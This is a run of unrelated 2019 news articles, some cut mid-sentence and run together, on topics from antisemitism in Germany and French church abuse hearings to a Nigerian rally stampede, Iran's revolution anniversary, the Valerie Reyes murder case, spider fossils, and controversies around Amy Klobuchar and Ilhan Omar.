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News of the belt attack coincided with another public outcry, over a rap duo who made light of Nazi death camp prisoners but went on to win the music industry's sales-based Echo award, which was subsequently axed.

Days after the belt assault, some 2,000 people rallied at a "Berlin Wears Kippa" solidarity demonstration, matched by smaller events in several other German cities.

Most anti-Semitic offences were however committed by far-right perpetrators, reported the Berlin daily Tagesspiegel in an article on the new crime statistics.

Pau in her statement charged that "we are seeing that militant right-wing extremists can openly call for the desecration of Jewish institutions and attacks against Jewish people".

A rising number of people and groups in the "grey zone between conservatism and right-wing extremism are denying the Holocaust and engaging in anti-Semitic agitation," she said.PARIS (AP)  The spokesman for France's Catholic bishops' conference told lawmakers Tuesday the French church is working with authorities to uncover and eradicate child sex abuse after allegations made in recent years revealed the scope of the country's problem with pedophile priests.

Senators questioned the Rev. Olivier Ribadeau Dumas of the Conference of Bishops of France for a Senate commission that is preparing a report on pedophilia across French institutions.

It is being compiled as senior churchmen from every bishops' conference around the world are preparing to attend a Feb. 21-24 Vatican summit convened by Pope Francis to try to develop a universal response to the problem.

The commission's work also takes place as the trial of a prominent French cardinal accused of protecting a pedophile priest nears its end next month.

The Rev. Bernard Preynat confessed to abusing French Boy Scouts in the 1980s and 1990s, and his victims allege clergy in positions of authority covered up for him for years. One of the church leaders they accused of allowing Preynat to continue working with children until his 2015 retirement is Cardinal Philippe Barbarin.

During Tuesday's Senate hearing, Ribadeau Dumas defended the church's response to the Preynat revelations and the accusations against the cardinal. He said it created groups to help encourage victims of clergy abuse to come forward and a website to identify cases.

"Every bishop is responsible for what happens in his diocese... We don't need to restate how scandalous any and all sexual abuse against minors and vulnerable people is," Ribadeau Dumas said.

Catholic officials have been interrogated by a variety of government-appointed panels, independent inquiries, U.N. committees, and investigative bodies over the years, but parliamentary investigations are rare.

The French Senate group, which expects to submit its report and recommendations in April, has less authority than was planned for another lawmaker initiative, a parliamentary commission to investigate pedophilia in the Catholic Church that was scrapped in the fall.

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Australia has carried out a more sweeping investigation than in France, in the form of a yearslong Royal Commission inquiry  the highest form of investigation  into abuse in the Catholic Church and other institutions.

Barbarin's trial is expected to produce an acquittal. By the time the trial reached court in January, the statute of limitations had expired on some charges. Even the prosecutor argued against convicting the cardinal.

However, Barbarin had been dogged by criticism for a past comment in which he seemed to express relief that some accusations could no longer be prosecuted. .

"The majority of the facts, thanks to God, are lapsed," Barbarin told reporters in 2016.

A movie by French director Francois Ozon that depicted sexual abuse in the Catholic Church echoed Barbarin in its title, "Thanks to God."

___

Nicole Winfield in Rome contributed to this story.The Telegraph

When the Duke of Sussex told Oprah Winfrey that his family had literally cut him off financially, sources close to the Prince of Wales could not hide their surprise. The bank statements, they said, told a different story. It has now emerged that the Prince of Wales gave the Duke and Duchess a substantial sum when they stepped back from their official roles, apparently contradicting Prince Harrys claim that they had only been able to afford their new life in California because of his inheritThe exclusion of countries, peoples or individuals from high-profile summits and conferences often says much about the events themselves.

As the Mideast conference in Poland convenes with U.S. Vice President Mike Pence, Secretary of State Mike Pompeo and Israeli Prime Minister Benjamin Netanyahu shaping the narrative in Warsaw as part of the Trump administration's global push to isolate Iran and promote Israeli interests, it's no surprise that Tehran is not invited.

Iran has denounced the conference as an American anti-Iran "circus."

The Palestinians have boycotted the conference and urged others to do the same. Notable absences are those of senior officials from France, Germany and Russia as well as various non-Gulf Arab nations.

Here's a look at some major summits and conferences over the years which have seen key players excluded or refusing to attend.

THE PALESTINIANS: CAMP DAVID TO MADRID

While President Jimmy Carter, Egypt's Anwar Sadat and Israel's Menachem Begin cemented the Camp David peace accord in 1978 with a three-way handshake at the White House before the world's cameras, the Palestinians were markedly absent.

They hadn't been included and references to the West Bank and Gaza did nothing to mollify anger among the stateless seeking a state.

In 1991 in Madrid, the Palestinians were represented but only as part of the Jordanian delegation in a contentious and acerbic Mideast conference that saw Syria and Israel openly trading insults.

Two years later, Palestinian leader Yasser Arafat shook hands with his Israeli counterpart Yitzhak Rabin with President Clinton beaming alongside them. The Palestinians were now much more so on diplomacy's world stage, but a quarter of a century later they are no closer to their elusive goal of independence.

SOUTH KOREA'S MOON: DMZ BUT NOT SINGAPORE OR VIETNAM

North Korea's dynastic leaders, as much by design and desire as exclusion, were always on the outside of international gatherings looking in from afar. That changed in a series of seismic events for the Korean Peninsula in 2018, following a year where threats of nuclear Armageddon were at the fore.

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North Korean leader Kim Jong Un is preparing for his second summit with President Donald Trump in two weeks in Vietnam. This follows the mind-boggling spectacle of their first encounter in Singapore last year. South Korean President Moon Jae-in has been a key driving figure with determined plans and aspirations for engagement with Pyongyang.

Moon himself held historic summits with Kim at the Demilitarized Zone on the border between the two nations. Now Moon finds himself excluded again as Trump and Kim take center stage.

There is speculation about a possible four-way meeting, also including Moon and Chinese President Xi Jinping, to declare a formal end to the Korean War, which stopped with an armistice and left the peninsula still technically at war.

DAYTON AND THE BOSNIAN SERBS

A city in Ohio became the byword for ending Europe's worst conflict since World War II.

The Dayton Accords ended the Bosnian War which had claimed hundreds of thousands of lives and displaced more than 2 million people as former Yugoslavia broke apart in a frenzy of communal violence.

The grim-faced presidents of Serbia, Croatia and Bosnia and Herzegovina were all in attendance in Dayton in 1995 and for the official signing in Paris the following month.

But absent were the group blamed by many for some of the worst bloodshed and persecution in the war, the Bosnian Serbs. Serbia President Slobodan Milosevic, himself an international outcast, represented his fellow Serbs' interests in Dayton.

The Bosnian Serb wartime leader, Radovan Karadzic, by then already an indicted war criminal was a fugitive evading justice. He was finally captured in 2008.

___

Tamer Fakahany can be followed on Twitter at www.twitter.com/TamerFakahanyPort Harcourt (Nigeria) (AFP) - Fifteen people were killed in a stampede at an election campaign rally by President Muhammadu Buhari in southern Nigeria, health officials said Wednesday.

In a separate incident on the campaign trial, jihadists in the northeast of the country attacked a convoy carrying a powerful state governor, killing four people.

The deaths are the latest to overshadow Saturday's elections, in which Buhari is seeking a second, four-year term of office.

Kem-Daniel Elebiga, spokesman for the University of Port Harcourt Teaching Hospital, said "a total of 15 bodies were brought in" on Tuesday.

Three were men and the rest women, he added.

Twelve injured people were also brought in, nine of whom remained in hospital Wednesday. "They are all responding well to treatment," said Elebiga.

Police in Rivers state, of which Port Harcourt is the capital, earlier gave a toll of four dead and four injured, while Buhari's office said only that "several" people lost their lives.

Conflicting death tolls are not unusual in Nigeria, although the authorities often provide lower numbers.

Local media and eyewitnesses said the stampede happened when panic broke out at the end of a rally held in the city's Adokiye Amiesimaka Stadium.

Crowds tried to force their way through a locked exit.

"Those from behind were pushing and putting pressure on those in front, leading to some persons falling on the ground and being trampled upon," said journalist Egufe Yafugborhi, of the Vanguard newspaper.

- Bloody aftermath -

Blood-stained clothes, discarded shoes, and belongings remained strewn at the site Wednesday.

Eyewitness Catherine Omokiniovo told AFP: "I was outside the gate selling popcorn when people started coming out.

"All of a sudden we started hearing cries of those who had fallen and could not get up because they had been trapped. There was confusion everywhere.

"Over 20 bodies were taken away in ambulances," she said, adding one of the victims was a pregnant woman and another a woman whose wedding was just months away.

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Other witnesses gave a similar account. "The police blocked a section of the entrance with their vehicles, preventing free flow of movement after the rally," said one.

In Rivers, police spokesman Nnamdi Omoni said an investigation has been opened to determine the cause of the stampede.

"We are also evolving measures to improve on crowd control at such events," he added.

Crowd safety has been a concern at campaign rallies, with fanatical party supporters typically held back by inadequate fencing and ill-equipped security officials.

Last Thursday, two people were reported to have died during a crush at a Buhari rally in the northeastern state of Taraba.

On January 21, several people were injured in the northeastern city of Maiduguri when a platform collapsed during a visit by Buhari.

Rivers, home to the oil and gas industry, is a key battleground in the election between the ruling All Progressives Congress and the main opposition Peoples Democratic Party.

- Election turbulence -

Tensions typically mount between supporters of the two sides before, during, and after elections in Nigeria. Already, there are claims of attempts to rig the vote.

Five APC members were shot and killed Sunday during weekend clashes with PDP followers near the oil city of Warri, in Delta state.

In northeastern Nigeria, meanwhile, two soldiers and two civilians were killed late Tuesday when Boko Haram ambushed a convoy carrying Kashim Shettima, governor of Borno state, security sources said.

The attack took place near the town of Dikwa, in area notorious for attacks by a Boko Haram faction loyal to long-time leader Abubakar Shekau.

Shettima, who is stepping down as governor after a maximum of two four-year terms, has been campaigning for a seat in the Senate, for which elections also take place on Saturday.

The assailants also seized people who were aboard a bus in the convoy that got stuck in the sand and could not flee, according to a member of the Civilian Joint Task Force, a militia formed to help fight the jihadists.By Parisa Hafezi DUBAI (Reuters) - Hundreds of thousands of Iranians marched and some burned U.S. flags to mark the revolution's 40th anniversary on Monday as Tehran showed off ballistic missiles in defiance of U.S. efforts to curb its military power. Soldiers, students, clerics and black-clad women holding small children thronged streets across Iran, many with portraits of Ayatollah Ruhollah Khomeini, the Shi'ite cleric who toppled the Shah in an Islamic uprising that still haunts the West. On Feb. 11, 1979, Iran's army declared its neutrality, paving the way for the fall of U.S.-backed Shah Mohammad Reza Pahlavi. State television showed crowds carrying Iranian flags in cold rainy weather, shouting "Death to Israel, Death to America" - trademark chants of the revolution. The Islamic Republic has vowed to increase its military strength despite mounting pressure from Western countries to curtail its ballistic missile program. Those capabilities were on display during the march, including the Qadr F, a ground-to-ground missile with a 1,950-km (1,220-mile) range, Tasnim news agency said. "We have not asked and will not ask for permission to develop different types of ... missiles and will continue our path and our military power," President Hassan Rouhani said in a speech at Tehran's Azadi (Freedom) square. ECONOMIC "HARDSHIPS AND GRIEVANCES" U.S. President Donald Trump tweeted on Monday that the Iranian government had let down its people. "40 years of corruption. 40 years of repression. 40 years of terror. The regime in Iran has produced only #40YearsofFailure. The long-suffering Iranian people deserve a much brighter future," he posted in both English and Farsi. Iranian Foreign Minister Mohammad Javad Zarif also responded on Twitter. "#40YearsofFailure to accept that Iranians will never return to submission. #40YearsofFailure to adjust US policy to reality. #40YearsofFailure to destabilize Iran through blood & treasure. After 40 yrs of wrong choices, time for @realDonaldTrump to rethink failed US policy," he wrote. Iranians face mounting economic hardships many blame on the country's clerical leaders, and pictures on social media showed some people also demonstrating against corruption, unemployment and high prices. "Our presence in the 40th anniversary of the revolution is to show our support for the Islamic Republic," said one sign held by a protester. "But it does not mean we support corruption of some officials and their betrayal of the oppressed people." Reuters could not independently verify the pictures. Last year, Iran cracked down on protests over poor living standards that posed the most serious challenge to its clerical elite since a 2009 uprising over disputed elections. Prices of basic foodstuffs have soared since Trump withdrew Washington from world powers' 2015 nuclear deal with Iran last year and reimposed sanctions on Tehran. In January, Rouhani said Iran was dealing with its worst economic crisis since the Shah was toppled. But he remained defiant on Monday as Iranians recalled the end of a monarch who catered to the rich. "The Iranian people have and will have some economic difficulties but we will overcome the problems by helping each other," he said. U.S. AND ISRAELI THREATS Yadollah Javani, the Iranian Revolutionary Guards' deputy head for political affairs, said Iran would demolish cities in Israel if the United States attacked. "The United States does not have the courage to fire a single bullet at us despite all its defensive and military assets. But if they attack us, we will raze Tel Aviv and Haifa to the ground," Javani told the state news agency IRNA. Israeli Prime Minister Benjamin Netanyahu dismissed the threat. "I am not ignoring the threats of the Iranian regime, but nor I am impressed by them," he said. "Were this regime to make the terrible mistake of trying to destroy Tel Aviv and Haifa, it would not succeed, but it would mean that they had celebrated their last Revolution Day. They would do well to take that into account." Washington and the Arab world have viewed Iran with great suspicion since the Islamic Revolution, fearing Khomeini's radical ideology would inspire militants across the Middle East. Today, the United States, its Arab allies and Israel are trying to counter Tehran's growing influence in the Middle East, where it has proxies in Syria, Lebanon and Yemen. Iran also has vast clout in Iraq, where Major-General Qassem Soleimani, head of the overseas arm of the Revolutionary Guards, was frequently photographed guiding Shi'ite militias in the war against Sunni Islamic State militants. (Additional reporting by Bozorgmehr Sharafeddin in London, Babak Dehghanpisheh in Geneva and Dan Williams in Jerusalem; Writing by Michael Georgy; Editing by Andrew Cawthorne, William Maclean/Mark Heinrich and Sonya Hepinstall)Ottawa (AFP) - A Canadian woman captured in a video posted on social media throwing chairs from a high-rise condo onto a major Toronto thoroughfare below was charged Wednesday with mischief and endangering lives.

Marcella Zoia, 19, surrendered to police following a public outcry, and now faces a possible jail sentence if convicted on all three counts. She was due to appear in court in the day.

It's unclear what motivated her to throw two chairs and other items off the balcony from what police said was a "very high floor" early Saturday.

Police told AFP the items could have maimed or killed a pedestrian or caused a major traffic accident on the city's Gardiner Expressway -- one of the busiest streets in Canada.

Instead, the chairs smashed onto the sidewalk at the condominium building's entrance. Nobody was injured.Brussels (AFP) - The European Commission on Wednesday proposed adding seven countries including Saudi Arabia to the EU's money-laundering blacklist of governments that do too little to thwart the financing of terrorism and organised crime.

The move comes as tensions between Riyadh and European capitals are heightened over the murder last year of the columnist Jamal Khashoggi at the Saudi consulate in Istanbul.

The proposal must now be approved by the European Parliament and the 28 member states, with France and Britain against the new list.

The new countries targeted by the commission, including Saudi Arabia and Panama, would join another 16 already on this register -- such as Iran, Iraq, Pakistan, Ethiopia and North Korea.

Inclusion on the list does not trigger sanctions, but it does oblige European banks to apply tighter controls on transactions with customers and institutions in those countries.

"We have put in place the highest standards in the world in the fight against money laundering," said European Commissioner for Justice Vera Jourova.

"But we must ensure that dirty money from other countries does not end up in our financial system," she told a press conference at the European Parliament plenary session in Strasbourg.

"Dirty money is the driving force behind organised crime and terrorism," Jourova continued, urging countries on the list to "quickly remedy their shortcomings".

A diplomat said objections to the new list were not linked to fallout from the Khashoggi murder and a desire to appease Saudi Arabia.

There is not "an opposition to the addition of a particular country", but concerns over the "methodology" used.

MEP Eva Joly, a former investigating judge, welcomed the new list but suggested the commission "publish the country assessments in order to increase the transparency of the process and avoid accusations of political bargaining."

European countries such as Cyprus or the United Kingdom should also be on the list, she said.Gruesome details revealed after ex-boyfriend arrested in death of woman left in suitcase originally appeared on abcnews.go.com

An ex-boyfriend has been arrested in connection to the death of 24-year-old Valerie Reyes, whose body was discovered bound in a suitcase on the side of the road, according to police.

Javier Da Silva, 24, was interviewed and allegedly "admitted a role" in Reyes' death, Greenwich Police Capt. Robert Berry said Tuesday.

In the interview, Da Silva allegedly said he and Reyes had sex at her home around Jan. 29. At some point, "the victim fell to the floor and hit her head," according to the criminal complaint.

Da Silva allegedly said he put packing tape over her mouth, bound her legs and hands, put her in a suitcase, drove away and then ditched the suitcase in a forest, the criminal complaint said.

He also allegedly used Reyes' ATM card after she was killed, Berry said, noting that investigators "saw continued ATM activity and thats what zeroed us in."

PHOTO: A young woman's bound body was discovered in a suitcase along the side of a road in Greenwich, Conn., Feb. 5, 2019. (WABC)

Reyes' body was found on Feb. 5 along a Greenwich, Connecticut, road with "obvious signs of head trauma," the criminal complaint said.

An autopsy ruled Reyes' death a homicide, the criminal complaint said.

PHOTO: An undated photo of murder victim Valerie Reyes of New Rochelle, N.Y. (Released by Greenwich Police Dept.)

(MORE: Tearful vigil held for Valerie Reyes, 24, whose body was found in suitcase)

Da Silva was arrested Monday night in Queens, New York, according to police, and charged with kidnapping resulting in death.

Da Silva, a citizen of Portugal, entered the U.S. in May 2017 through the Visa Waiver Program, but he overstayed his visa, officials from U.S. Immigration and Customs Enforcement (ICE) said Wednesday.

ICE has lodged a detainer, and pursuant to the detainer, ICE said it will aim to take custody of him for immediate removal when he is released from criminal custody.

He is the only suspect identified as this time, though the investigation is ongoing, Berry told reporters Tuesday afternoon.

Da Silva appeared briefly Tuesday before a federal magistrate in White Plains who ordered him held on no bail. He was not required to enter a plea.

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(MORE: Murder victim found in Greenwich identified as 24-year-old New Rochelle woman)

Reyes was last seen on Jan. 29. She was reported missing to the New Rochelle Police on Jan. 30 by her mother, father and boyfriend, according to the criminal complaint.

PHOTO: An undated photo of murder victim Valerie Reyes of New Rochelle, N.Y. (Released by Greenwich Police Dept.)

(MORE: 'There's a murderer on the loose': Mystery of woman's bound body found inside suitcase haunts Greenwich, Conn.)

According to the criminal complaint, Reyes' family told police she had dated a man named Javier and that relationship ended about one year ago.

Reyes' mother, Norma Sanchez, told ABC New York station WABC-TV on Tuesday, "They released his name -- my heart dropped."

"Emotions of so much anger and hate, but relieved," she said.

Greenwich Police ask anyone with information about Reyes or her disappearance to call the Greenwich Police Tip Line at (203) 622-3333 or email at Tips@greenwichct.org.Paleontologists working in South Korea found ancient spider fossils with still-glittering eyes.

Spider fossils are rare, the researchers wrote in a paper published online Jan. 28 in the Journal of Systematic Paleontology. Their bodies are so soft that they typically decay entirely soon after death, leaving no trace unless they happen to end up trapped in amber. But 11 spiders from the Cretaceous period have turned up preserved in shale on the Korean Peninsula. And two of the fossils included the still-shiny traces of sparkling eyes.

Those glittering bits are mirror structures in the eyes called tapetums that bounce light from the back of the eye back through the retina. Animals use them to improve their night vision, usually at the expense of some overall blurriness. [See 15 Stunning Animal Eyes  Rectangular Pupils to Wild Colors]

"ln spiders, the ones you see with really big eyes are jumping spiders, but their eyes are regular eyes  whereas wolf spiders at nighttime, you see their eyes reflected in light like cats," study co-author Paul Selden, director of the Paleontological Institute at The University of Kansas Biodiversity Institute and Natural History Museum, said in a statement. "So, night-hunting predators tend to use this different kind of eye. This was the first time a tapetum had been in found in fossil."

Selden said the canoe-like shape of the 110- to 113-million-year-old tapetums will help researchers place the rare spider fossils on the evolutionary tree.

This particular bit of South Korean rock has turned out to be a godsend for paleontologists.

"This is so rare because [spiders] are very soft  they don't have hard shells so they very easily decay," Selden said. "It has to be a very special situation where they were washed into a body of water. Normally, they'd float. But here, they sunk, and that kept them away from decaying bacteria  it may have been a low-oxygen condition [where bacteria that cause decay can't survive]."

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He added that the rocks where the spider fossils were found were also covered with the remains of little crustaceans and fish, suggesting that, perhaps, an algal bloom trapped them in a mucus mat, causing them to sink. "But that's conjecture," Selden said. "We don't really know what caused this, but something killed off a lot of animals around the lake at one time or on an annual basis."

Whatever killed them, it did paleontologists of the future a great favor. And left some tiny, shimmering structures intact to survive through the eons.

Originally published on Live Science.WASHINGTON  On the day she announced her intention to run for the presidency of the United States at a rally in Minneapolis, Sen. Amy Klobuchar, D-Minn., faced intense headwinds in the form of reports that she has been routinely demeaning to employees in her Washington office. Those accusations, which have been countered by allegations of sexism, present the first significant challenge to the 58-year-old former prosecutor, who is the fifth woman to have entered the Democratic primary for the 2020 presidential contest.

We are all tired of the shutdowns and the showdowns, the gridlock and the grandstanding, Klobuchar said on Sunday, as she announced that she would seek the Democratic nomination for the presidency. Quoting the poet Walt Whitman, she portrayed herself as a healer, a capable Midwesterner who will unite where President Trump has divided.

But conversations with more than a dozen current and former staffers lead to a more complex portrait, one that is significantly at odds with the image of Midwestern nice that has coalesced around Klobuchar in recent months. While some of those who worked for her remain ferociously supportive of the senior senator from Minnesota, others allege that her record of mistreating and even abusing staff makes her as unfit for office as the man she is trying to replace.

A number of former staffers  both male and female  describe a workplace environment governed by fear and dread, one in which Klobuchar treated her Capitol Hill staffers with cruelty and humiliation, while fixating on seemingly minor issues. A minor mistake in an internal document, for example, could lead to a multi-day affair, one former staffer said. Like other Klobuchar alumni, she described haranguing late-night phone calls and critical emails written in all caps, sometimes sent in quick succession.

The former staffer said that Klobuchar has fully earned reputation as an exceptionally difficult boss independent of her gender. She added that, given the behavior that she witnessed from Klobuchar, she could not vote for her in the Democratic primary, in which the senator is expected to portray herself as a sensible Midwestern progressive who can win over independent voters.

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The way she treats staff is disqualifying, the former staffer said.

Klobuchar has one of the highest rates of staff turnover in Congress, according to congressional research site LegiStorm. Last year, that led to Politico calling her one of the worst bosses in Congress. And though Klobuchars alleged mistreatment has been an open secret in Washington for years, it had also gone largely unmentioned in press reports. That changed last week, when HuffPost  which, like Yahoo News, is part of Verizon Media  published a report that said that Klobuchars reputation had hindered her in hiring a campaign manager.

Sen. Amy Klobuchar announcing her run for president, Feb. 10, 2019. (Photo: Jim Mone/AP)

A subsequent HuffPost report said that Sen. Harry Reid, D-Nev., then the chambers minority leader, rebuked Klobuchar for her behavior in 2015. This appears to not have been the first effort by Klobuchars colleagues to change her behavior, though details of an earlier such intervention were not available. Klobuchar first joined the U.S. Senate in 2007, and has raised her profile since by advancing legislation with Republican co-sponsors and garnering an ever-greater amount of media attention.

BuzzFeed has also reported in recent days on what the news site described as a workplace controlled by fear, anger, and shame.

Former staffers say that the reports are not only accurate, but, in fact, only the beginning. Many of those who worked for Klobuchar knew that when Klobuchar declared her intention to run for the presidency  something she has longed to do for years  they would be forced to decide about how much they should say about what they had witnessed while in her employ.

This was coming, one former staffer said.

Speaking out could lead to retribution from Klobuchar, should she be able to identify them. She has been known to grow irate at staffers who find work elsewhere, calling their new employers to have the offers rescinded. The practice, which three former staffers for Klobuchar described and one other Capitol Hill veteran confirmed, was seen as vindictive, mystifying and counterproductive. It was also a sign of how far Klobuchar would go to punish those who she thought betrayed her.

One former Klobuchar staffer says she and others have been sharing a recent Washington Post column by conservative (and anti-Trump) pundit George Will in which he called her the Democrat best equipped to send the current president packing. In particular, those former staffers have found laughable  and flagrantly inaccurate  Wills assertion that Klobuchars temperament is her special strength.

Klobuchars temperament could be her greatest weakness, according to detailed descriptions of working for the senator provided by five employees. They describe office objects thrown, sometimes directly at other people, as well as outbursts over seemingly inconsequential matters.

Two former staffers who spoke to Yahoo News wondered why Klobuchar has been unable to stop a pattern of behavior that was seemingly bound to come to light sooner or later.

Theres definitely something there, one former staffer said. He said that her behavior crosses the line.

And while it is not uncommon for members of Congress to ask staffers to perform personal tasks outside their professional duties, veterans of Capitol Hill say that in this regard, too, Klobuchar went beyond many of her peers. One former staffer says that she asked staff to clean her house and wash dishes, as well as to help her pack for travel and make travel arrangements for her husband.

Photo: Melina Mara/Pool/Washington Post

Klobuchar must contend with these allegations as she begins to make her case to donors and voters whose money and attention are both fiercely contested resources. Yes, I can be tough, and, yes, I can push people, Klobuchar told members of the media after her Sunday announcement, in apparent recognition that a crisis was in the works. She also said that there are so many great stories of our staff that have been with me for years.

Three female former Klobuchar employees say that while sexism remains a dismayingly potent force on Capitol Hill, it does not inform their own assessment of Klobuchar. Each of them separately said that the senators behavior was plainly abusive and went far beyond that of other senators known to be demanding and difficult.

She cant hire top-tier staff, one former staffer says. Its real.

The critical assessment of Klobuchar is not universally shared. In fact, a half-dozen former staffers say that they never witnessed any of the behavior that is now becoming public. I came to Capitol Hill to work hard and to get stuff done, and there is nobody that works harder or gets more done than Amy Klobuchar, former Klobuchar staffer Asal Sayas told Yahoo News. These are tough jobs and you need to be able to rise to the occasion. I learned a lot, we got a lot done and had fun along the way.

Ive loved working for her, a current Klobuchar staffer told Yahoo News, calling the senator a great boss and great friend. Others described how Klobuchar could show genuine solicitude about staffers family lives or health matters. That Midwestern nice is real, said one former male staffer, alluding to the image popularly used to describe Klobuchar. He said he believes that criticism of Klobuchar stems from a subconscious, implicit bias about women.

She is a tough boss, for sure, says former Klobuchar staffer Tristan Brown. But like others who remain supportive of Klobuchar, he is appreciative of her exacting standards. He says that she may be the brightest person Ive ever worked for. Certainly the savviest.

Klobuchar doesnt sleep, says someone who worked for her in Minnesota, and never stops working. The former staffer meant this as praise, though also as explanation for the high turnover with which her office has been plagued. She definitely burns people out, he said. At the same time, he said that some former staffers didnt serve her well. He believed that it was these staffers who were now speaking to the press.

And even some of her harshest critics praised Klobuchars intelligence and determination. The daughter of an alcoholic, she earned admission to Yale for college and, later, law school at the University of Chicago. She worked in private practice before winning election in 1998 to become the attorney for Hennepin County, which includes Minneapolis and St. Paul, as well as surrounding suburbs.

In response to this article, a campaign staffer for Klobuchar sent Yahoo News a transcript of her post-announcement remarks to journalists in Minneapolis. A request to her Senate office for an interview was denied; her office also did not respond to questions about the allegations.

Behind the scenes, staffers worked to contain the crisis, as they tried to find out who had been behind the damaging quotes and anecdotes that have emerged thus far, say two people aware of those efforts (a primary reason for why some of those who spoke for this article wanted no identifying characteristics to be used, and others refused to be quoted at all). At the same time, they urged reporters to contact former Klobuchar staffers who were known to have a favorable assessment of the senator.

The crisis is especially dangerous to Klobuchars prospects because competence and comportment are central to her case as a presidential candidate. Sometimes called the senator of small things, she has a legislative record that is bipartisan but relatively quotidian. Shell never stick her neck out on anything controversial, one former male staffer said.

Photo: Gabriella Demczuk/Getty Images

Others said that Klobuchars main imperative was positive press coverage, to a degree unusual even by the standards of Capitol Hill, where self-promotion and self-regard are almost seen as survival skills.

Her No. 1 priority in that office was herself, a former female staffer said.

Klobuchar has been a recipient of positive press for her tough but civil questioning of Supreme Court nominee Brett Kavanaugh, during the contentious confirmation hearings that took place last fall in the Senate Judiciary Committee. A gifted retail politician, she is popular in her native Minnesota, leading some to believe that she could repair the blue firewall that collapsed when Trump romped across the Midwest during the 2016 election.

The narrative now emerging about Klobuchars alleged mistreatment of staff could be especially damaging in a crowded Democratic primary where each candidate has to make the case that he or she alone can defeat Trump.

Should that narrative continue to build  and it is expected to, with more Klobuchar alumni coming forward  it could give Trump all the ammunition he needs for withering statements and tweets to motivate his own base and rally independent voters against Klobuchar.

For some former staffers, any crisis now developing is of Klobuchars own making.

If you cant treat the people closest to you with respect, one former staffer said, I dont trust you to treat the American people with respect.

_____

Read more from Yahoo News:Hunter DeRensis

Israel, United States

Omar is no stranger to controversy when it comes to one of her most outspoken issues: the Israeli-American relationship.

Whos Afraid of Ilhan Omar?

For months the freshman class of the House of Representatives has generated a disproportionate number of headlines, particularly the newly elected crop of women. From uniformly wearing white at the State of the Union address in solidarity with the suffrage movement, to their many group Instagram photos, these Democrats have eagerly donned the mantle of female empowerment and progress.

While its normally New Yorks Alexandria Ocasio-Cortez stealing most of the medias attention, yesterday the commentariat was focused on thirty-seven-year-old Minnesota Representative Ilhan Omar. Born in Mogadishu, Somalia, Omar arrived in the United States as a refugee at the age of fourteen. She was involved in state politics before being elected as one of the first two female Muslim members of Congress (alongside Michigans Rashida Tlaib), along with being the first Somali-American elected.

Omar is no stranger to controversy when it comes to one of her most outspoken issues: the Israeli-American relationship. On the campaign trail she was criticized for tweeting in 2012 that Israel has hypnotized the world, may Allah awaken the people and help them see the evil doings of Israel. Omar is a supporter of the Boycott, Divestment, and Sanctions movement.

Then Sunday evening, in a response to Pulitzer Prize-winning journalist Glenn Greenwalds observation that Its stunning how much time US political leaders spend defending a foreign nation [Israel] even if it means attacking free speech rights of Americans, Omar tweeted in response It's all about the Benjamins baby, a reference to a 1997 Puff Daddy song. When the Opinion Editor of The Forward (a Jewish magazine) said she [w]ould love to know who @IlhanMN thinks is paying American politicians to be pro-Israel, Omar responded flatly AIPAC! She then temporarily retweeted a response to her comments that read in part She might as well call us hook-nosed.

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The criticism was overwhelming. Responding to a tweet that Omar should learn to talk about Jews in a non-anti-Semitic way, Chelsea Clinton tweeted Co-signed as an American. We should expect all elected officials, regardless of party, and all public figures to not traffic in anti-Semitism. The former first daughter of the Democratic Party received plaudits from Republican pundits the rest of the day. Congressman Max Rose of New York, a fellow freshman who is also Jewish, released a statement that read in part Congresswoman Omars statements are deeply hurtful to Jews, including myself. Implying that Americans support Israel because of money alone is offensive enough. But to go a step further, and retweet someone declaring their pain at her sentiment is simply unacceptable.

Republicans were even harsher. Senator Tom Cotton defended the American Israel Public Affairs Committee saying @AIPAC promotes better understanding of the Middle East, combats the ancient hatred of anti-semitism, & strengthens the US alliance with Israel. Im grateful for their work & I always look forward to seeing them. Thank you! Former Ambassador to the United Nations Nikki Haley tweeted, To see this at the UN was a fight every day. This CANNOT be tolerated in our own Congress by anyone of either party. In a time of increased anti semitism, we all must be held to account. No excuses. Rep. Liz Cheney said Ilhan Omar should be removed from the House Foreign Affairs Committee. Senators Ted Cruz and Marco Rubio made connections to the wider views of the Democratic Party, with the former asking Do other Dems agree? Will media ask them? As more Dems support BDS, anti-Semitism becoming far too common, and the latter saying that The growing anti-Semitism from the radical left is alarming.

Ilhan Omar was not without her defenders. Independent journalist Michael Tracey spent the day supporting her comments, saying in one tweet It should not be controversial to observe that AIPAC and affiliated donors exert outsized influence on Congress through lobbying, donations, and other means. If you label this anti-semitism, that's your own paranoia speaking. Mondoweiss, the progressive Jewish news outlet, spent the day linking to old articles covering the Israel lobby and promoting John Mearsheimers and Stephen Walts 2007 book The Israel Lobby and U.S. Foreign Policy. Josh Kaplan wrote a defense of Omars comments in Spectator USA, saying that the pro-Israel lobby is one of many groups in Washington D.C. who use money to buy influence.

Finally, in a joint statement the entire Democratic House leadership issued a full condemnation of Congresswoman Omars statements. We are and will always be strong supporters of Israel in Congress because we understand that our support is based on shared values and strategic interests, read the statement. It continued, Congresswoman Omars use of anti-Semitic tropes and prejudicial accusations about Israels supporters is deeply offensive. We condemn these remarks and we call upon Congresswoman Omar to immediately apologize for these hurtful comments.

Hours after Nancy Pelosi sent out the statement, Ilhan Omar issued her own apology:

Anti-Semitism is real and I am grateful for Jewish allies and colleagues who are educating me on the painful history of anti-Semitic tropes. My intention is never to offend my constituents or Jewish Americans as a whole. We have to always be willing to step back and think through criticism, just as I expect people to hear me when others attack me for my identity. This is why I unequivocally apologize.

She ended this unequivocal apology by closing it with At the same time, I reaffirm the problematic role of lobbyists in our politics, whether it be AIPAC, the NRA or the fossil fuel industry. Its gone on too long and we must be willing to address it.

Regarding the entire controversy and the overwhelming reaction, Vox editor Matthew Yglesias tweeted, Congressional leaders of both parties really did a good job today of debunking the notion that pro-Israel groups wield disproportionate influence on Capitol Hill.

Hunter DeRensis is a reporter at The National Interest.

Image: Reuters.

Read full articlePhoto credit: sdominick - Getty Images

From Women's Health

You wake up the morning after a great night spent with friends, and before you can even reminisce about how you much fun you had, you're gripped with fear. Everyone is gone, which means you're-don't say it, don't say it-alone. It doesn't matter that you were just surrounded by the people who love you, the fear of being alone has crept in, and it's here to stay.

While you definitely know what this fear feels like, you might not know much else about it. Here's the scoop: It's a legit fear, known formally as autophobia, or monophobia.

If you have autophobia, ironically, you're not alone. It's a pretty common fear, says Chloe Carmichael, PhD, a clinical psychologist in Manhattan. "It's also a common goal to have a partner."

But that doesn't make it any easier to understand-or overcome. "For people who are afraid of being alone, its a very powerful fear that has a big influence over how they live," says Jill Squyres, PhD, a clinical psychologist in Vail, Colorado.

